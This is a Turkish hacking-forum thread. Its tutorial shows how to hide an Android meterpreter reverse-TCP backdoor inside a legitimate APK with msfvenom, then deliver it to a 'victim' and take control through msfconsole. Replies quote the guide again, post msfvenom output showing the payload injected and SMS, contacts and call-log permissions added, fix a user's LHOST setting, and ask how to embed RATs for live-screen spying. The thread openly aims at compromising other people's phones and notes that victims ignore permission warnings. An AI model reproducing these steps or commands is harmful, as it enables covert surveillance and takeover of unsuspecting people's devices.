Msfvenom ile apk'lara backdoor gömmek

Hichigo

Uzman üye
30 Ağu 2015
1,190
42
github.com/tarik0
Merhaba arkadaşlar bu gün sizlere msfvenom ve msfconsole kullanarak
nasıl bir apk'ya payload gömüp onu bir backdoora çevireceğimizi göstereceğim :)


KONUYU BEĞENİRSENİZ TEŞEKKÜR ETMEYİ UNUTMAYIN :)

ADIM-1

Öncelikle duckdns.org 'a girip IP'miz (static değilse) bir domain oluşturuyoruz bu IP'mizin değişmesine ve unutmamıza karşı bize önlem olacakdır.(Zaten çok kolay bir arayüzü var başka bir dynamic dns servisi'de kullanabilirsiniz)

ad7Ey2.png


ADIM-2

Modemimizde kafamıza göre bir portu yönlendiriyoruz ben 4444 portunu seçtim.(Her modeme göre port yönlendirme farklıdır.) (NAT sekmesinin altında olur genellikle.)

VPjYvP.png


ADIM-3

İstediğiniz bir uygulamanın apk'sını indirin.Ben Terraria'nınkini indirdim.


ADIM-4

Terminali açın ve şu komutları kendinize göre olanlarını yazın.

Kod:
msfvenom -x apkadi.apk -p android/meterpreter/reverse_tcp LHOST=dinamikadresiniz LPORT=444 -k -o cikti.apk
77jvyv.png


PARAMETRE AÇIKLAMASI:

Kod:
[COLOR=Lime]-x : Backdooru açacağınız(payloadı yükleyeceğiniz) apk bu istediğiniz bir uygulama olabilir.[/COLOR]
Kod:
[COLOR=Lime]-p  : Kullanacağımız payload demek oluyor burada  android/meterpreter/reverse_tcp isimli payloadı kullanıyoruz(Reverse TCP  sizin kurbana değil kurbanın size tcp protokolü ile {programı açınca  başlar} bağlanmasını sağlar).[/COLOR]
Kod:
[COLOR=Lime]LHOST : Kurbanın bağlanacağı IP 
LPORT : Kurbanın bağlanacağı IP'nin bağlanacağı port[/COLOR]
Kod:
[COLOR=Lime]-k  : orjinal apknın(izin seçtip indirdiğiniz uygulama) bozulmamasını  sağlıyor ve onun üzerine yazacağına yeni bir tane oluşturuyor[/COLOR]
Kod:
[COLOR=Lime]-o : çıktının adını venereye olduğunu gösteriyor[/COLOR]

ADIM-5

Kurbana apk'yı gönderdik şimdi onu kurup açmasını bekliyeceğiz bunun için msfconsol'u hazırlamalıyız.

Bunun için alttaki kodları msfconsol'a yazmalıyız.


GUTc.png

SONRASINDA İSE METERPRETER SİZE GELMİŞ OLUYOR VE ORADAKİ BÜTÜN KOMUTLARI YAPTIRABİLİYORSUNUZ.(Komutlar için help yazabilirsiniz)

OLUŞTURDUĞUNUZ APK BAĞZI TELEFONLARDA KURARKEN FARK REHBERİ VE MİKROFONU VS KULLANACAĞINI FARK EDEBİLİYOR AMA KURBAN ALDIRIŞ ETMEZ VE KURARSA ÇALIŞIR.


AYNI YÖNTEMİ WİNDOWS İÇİN DE KULLANABİLİRSİNİZ.


ÇIKARDIĞIMIZ DOSYANIN VİRUSTOTAL'İ(EĞER BİR APK DOSYASINA BAĞLAMAZSANIZ DAHA ÇOK BULUNUR)

36GB.png


İŞİNİZE YARADIYSA NE MUTLU BANA! TEŞEKKÜR KOYMAYI UNUTMAYIN!(BAĞZI HATALARIM OLABİLİR ONLARIDA DAHA BİLGİLİ ARKADAŞLAR DÜZELTİRSE SEVİNİRİM SAĞLICAKLI KALIN)
 

helpmii

Yeni üye
2 Ağu 2022
45
3
Android 11 Cihazlarda da etkilii mi bu yöntem daha önce Veil kullanarak denemiştim ancak başarısız olmuştum
hayır benim telefonumda olmuyor android 11 olduğu için sadece sms leri falan çekebiliyon

Android 11 Cihazlarda da etkilii mi bu yöntem daha önce Veil kullanarak denemiştim ancak başarısız olmuştum
ama 11 olmayanlarda kamera falan açabiliyon daha ayrıntılı o
 

Muslukcu

Katılımcı Üye
17 Kas 2021
699
262
Tesisat dükkanı
Merhaba arkadaşlar bu gün sizlere msfvenom ve msfconsole kullanarak
nasıl bir apk'ya payload gömüp onu bir backdoora çevireceğimizi göstereceğim :)


KONUYU BEĞENİRSENİZ TEŞEKKÜR ETMEYİ UNUTMAYIN :)

ADIM-1


Öncelikle duckdns.org 'a girip IP'miz (static değilse) bir domain oluşturuyoruz bu IP'mizin değişmesine ve unutmamıza karşı bize önlem olacakdır.(Zaten çok kolay bir arayüzü var başka bir dynamic dns servisi'de kullanabilirsiniz)

ad7Ey2.png


ADIM-2

Modemimizde kafamıza göre bir portu yönlendiriyoruz ben 4444 portunu seçtim.(Her modeme göre port yönlendirme farklıdır.) (NAT sekmesinin altında olur genellikle.)

VPjYvP.png


ADIM-3

İstediğiniz bir uygulamanın apk'sını indirin.Ben Terraria'nınkini indirdim.


ADIM-4

Terminali açın ve şu komutları kendinize göre olanlarını yazın.

Kod:
msfvenom -x apkadi.apk -p android/meterpreter/reverse_tcp LHOST=dinamikadresiniz LPORT=444 -k -o cikti.apk
77jvyv.png


PARAMETRE AÇIKLAMASI:

Kod:
[COLOR=Lime]-x : Backdooru açacağınız(payloadı yükleyeceğiniz) apk bu istediğiniz bir uygulama olabilir.[/COLOR]
Kod:
[COLOR=Lime]-p  : Kullanacağımız payload demek oluyor burada  android/meterpreter/reverse_tcp isimli payloadı kullanıyoruz(Reverse TCP  sizin kurbana değil kurbanın size tcp protokolü ile {programı açınca  başlar} bağlanmasını sağlar).[/COLOR]
Kod:
[COLOR=Lime]LHOST : Kurbanın bağlanacağı IP [/COLOR][/COLOR][/COLOR][/COLOR][/COLOR][/COLOR][/COLOR][/COLOR][/COLOR][/COLOR][/COLOR][/CENTER]
[COLOR=Blue][COLOR=Yellow][COLOR=Blue][COLOR=Lime][COLOR=Yellow][COLOR=Lime][COLOR=Yellow][COLOR=Lime][COLOR=Yellow][COLOR=Lime][COLOR=Magenta][CENTER]LPORT : Kurbanın bağlanacağı IP'nin bağlanacağı port[/COLOR]
Kod:
[COLOR=Lime]-k  : orjinal apknın(izin seçtip indirdiğiniz uygulama) bozulmamasını  sağlıyor ve onun üzerine yazacağına yeni bir tane oluşturuyor[/COLOR]
Kod:
[COLOR=Lime]-o : çıktının adını venereye olduğunu gösteriyor[/COLOR]

ADIM-5

Kurbana apk'yı gönderdik şimdi onu kurup açmasını bekliyeceğiz bunun için msfconsol'u hazırlamalıyız.

Bunun için alttaki kodları msfconsol'a yazmalıyız.


GUTc.png

SONRASINDA İSE METERPRETER SİZE GELMİŞ OLUYOR VE ORADAKİ BÜTÜN KOMUTLARI YAPTIRABİLİYORSUNUZ.(Komutlar için help yazabilirsiniz)

OLUŞTURDUĞUNUZ APK BAĞZI TELEFONLARDA KURARKEN FARK REHBERİ VE MİKROFONU VS KULLANACAĞINI FARK EDEBİLİYOR AMA KURBAN ALDIRIŞ ETMEZ VE KURARSA ÇALIŞIR.


AYNI YÖNTEMİ WİNDOWS İÇİN DE KULLANABİLİRSİNİZ.


ÇIKARDIĞIMIZ DOSYANIN VİRUSTOTAL'İ(EĞER BİR APK DOSYASINA BAĞLAMAZSANIZ DAHA ÇOK BULUNUR)

36GB.png


İŞİNİZE YARADIYSA NE MUTLU BANA! TEŞEKKÜR KOYMAYI UNUTMAYIN!(BAĞZI HATALARIM OLABİLİR ONLARIDA DAHA BİLGİLİ ARKADAŞLAR DÜZELTİRSE SEVİNİRİM SAĞLICAKLI KALIN)
Elinize saglik
 

athenacs

Yeni üye
29 Ocak 2023
2
0
Konuyu hortlatıyorum, bir hata alıyorum bir türlü çözemedim. Yardımcı olabilecek var mı?


Kod:
┌──(root㉿kali)-[/home/kali/Desktop]
└─# sudo msfvenom -x myapp.apk -p android/meterpreter/reverse_tcp LHOST=localhost LPORT=13605 -k -o cikti.apk
Using APK template: myapp.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.ulker.ulkersocial.znubz
[*] Loading /tmp/d20230129-6520-x8hei3/original/smali_classes5/host/exp/exponent/MainApplication.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.CALL_PHONE"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20230129-6520-x8hei3/output.apk
[-] I: Using Apktool 2.6.1-dirty
Exception in thread "main" java.lang.NoClassDefFoundError: org/apache/commons/text/StringEscapeUtils
        at brut.androlib.meta.YamlStringEscapeUtils.unescapeString(YamlStringEscapeUtils.java:141)
        at brut.androlib.meta.ClassSafeConstructor$ConstructStringEx.construct(ClassSafeConstructor.java:58)
        at org.yaml.snakeyaml.constructor.Constructor$ConstructScalar.constructStandardJavaInstance(Constructor.java:452)
        at org.yaml.snakeyaml.constructor.Constructor$ConstructScalar.construct(Constructor.java:403)
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:270)
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:253)
        at org.yaml.snakeyaml.constructor.SafeConstructor.processDuplicateKeys(SafeConstructor.java:108)
        at org.yaml.snakeyaml.constructor.SafeConstructor.flattenMapping(SafeConstructor.java:81)
        at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:252)
        at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.construct(Constructor.java:207)
        at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:358)
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:270)
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:253)
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:207)
        at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:191)
        at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:477)
        at org.yaml.snakeyaml.Yaml.loadAs(Yaml.java:470)
        at brut.androlib.meta.MetaInfo.load(MetaInfo.java:70)
        at brut.androlib.Androlib.readMetaFile(Androlib.java:273)
        at brut.androlib.Androlib.build(Androlib.java:287)
        at brut.androlib.Androlib.build(Androlib.java:280)
        at brut.apktool.Main.cmdBuild(Main.java:255)
        at brut.apktool.Main.main(Main.java:82)
Caused by: java.lang.ClassNotFoundException: org.apache.commons.text.StringEscapeUtils
        at java.base/jdk.internal.loader.BuiltinClassLoader.loadClass(BuiltinClassLoader.java:641)
        at java.base/jdk.internal.loader.ClassLoaders$AppClassLoader.loadClass(ClassLoaders.java:188)
        at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:520)
        ... 23 more
Error: apktool execution failed
 
Son düzenleme:

__El-Professör__

Yeni üye
18 Ocak 2023
19
1
Konuyu hortlatıyorum, bir hata alıyorum bir türlü çözemedim. Yardımcı olabilecek var mı?


Kod:
┌──(root㉿kali)-[/home/kali/Desktop]
└─# sudo msfvenom -x myapp.apk -p android/meterpreter/reverse_tcp LHOST=localhost LPORT=13605 -k -o cikti.apk
Using APK template: myapp.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.ulker.ulkersocial.znubz
[*] Loading /tmp/d20230129-6520-x8hei3/original/smali_classes5/host/exp/exponent/MainApplication.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.CALL_PHONE"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20230129-6520-x8hei3/output.apk
[-] I: Using Apktool 2.6.1-dirty
Exception in thread "main" java.lang.NoClassDefFoundError: org/apache/commons/text/StringEscapeUtils
        at brut.androlib.meta.YamlStringEscapeUtils.unescapeString(YamlStringEscapeUtils.java:141)
        at brut.androlib.meta.ClassSafeConstructor$ConstructStringEx.construct(ClassSafeConstructor.java:58)
        at org.yaml.snakeyaml.constructor.Constructor$ConstructScalar.constructStandardJavaInstance(Constructor.java:452)
        at org.yaml.snakeyaml.constructor.Constructor$ConstructScalar.construct(Constructor.java:403)
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:270)
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:253)
        at org.yaml.snakeyaml.constructor.SafeConstructor.processDuplicateKeys(SafeConstructor.java:108)
        at org.yaml.snakeyaml.constructor.SafeConstructor.flattenMapping(SafeConstructor.java:81)
        at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:252)
        at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.construct(Constructor.java:207)
        at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:358)
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:270)
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:253)
        at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:207)
        at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:191)
        at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:477)
        at org.yaml.snakeyaml.Yaml.loadAs(Yaml.java:470)
        at brut.androlib.meta.MetaInfo.load(MetaInfo.java:70)
        at brut.androlib.Androlib.readMetaFile(Androlib.java:273)
        at brut.androlib.Androlib.build(Androlib.java:287)
        at brut.androlib.Androlib.build(Androlib.java:280)
        at brut.apktool.Main.cmdBuild(Main.java:255)
        at brut.apktool.Main.main(Main.java:82)
Caused by: java.lang.ClassNotFoundException: org.apache.commons.text.StringEscapeUtils
        at java.base/jdk.internal.loader.BuiltinClassLoader.loadClass(BuiltinClassLoader.java:641)
        at java.base/jdk.internal.loader.ClassLoaders$AppClassLoader.loadClass(ClassLoaders.java:188)
        at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:520)
        ... 23 more
Error: apktool execution failed
Hocam LHOST=localhost yazan yere kendi local ipnizi giremeniz gerekiyor
 

UlubatlıHasan1453

Yeni üye
11 May 2022
28
5
hocam burada reverse tcp payloadı istediğimiz herhangi bir apkya gömülüyor tamam burasını anladım ve daha önce epey işimi gördü ama artık yeterli değil şuan bana herhangi bir rat'ı herhangi bir apk'ya nasıl gömerim bu konu lazım biliyormusunuz? kullandıgım ratlardan birindeki livescreen özelliği bir hayli ilgimi çekti onu denemek istiyorum.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.